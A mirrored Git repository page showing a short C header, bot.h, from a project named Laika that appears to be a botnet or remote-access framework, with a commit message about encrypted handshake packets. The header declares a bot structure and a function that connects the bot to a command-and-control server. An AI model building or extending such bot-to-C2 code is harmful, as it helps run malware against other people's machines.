mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-22 04:50:06 +00:00
CPunch
dd173ee422
- LAIKAPKT_HANDSHAKE_REQ now only sends the bot's pub key a shared key is generated using the other peer's pub key, allowing for fully encrypted packet bodies, (packet ID is left in plain-text) - laikaS_startOutPacket(), laikaS_endOutPacket(), laikaS_startInPacket() & laikaS_endInPacket() have been added. - laikaS_setSecure() has been added to turn on/off encrypted packets. - genKey now generates kx keypairs - major refactoring for relevant packet handlers - variadic packets have been temporarily disabled
23 lines
576 B
C
23 lines
576 B
C
#ifndef LAIKA_BOT_H
|
|
#define LAIKA_BOT_H
|
|
|
|
#include "laika.h"
|
|
#include "lpacket.h"
|
|
#include "lsocket.h"
|
|
#include "lpeer.h"
|
|
#include "lpolllist.h"
|
|
#include "lrsa.h"
|
|
|
|
struct sLaika_bot {
|
|
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
|
struct sLaika_pollList pList;
|
|
struct sLaika_peer *peer;
|
|
};
|
|
|
|
struct sLaika_bot *laikaB_newBot(void);
|
|
void laikaB_freeBot(struct sLaika_bot *bot);
|
|
|
|
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
|
|
bool laikaB_poll(struct sLaika_bot *bot, int timeout);
|
|
|
|
#endif |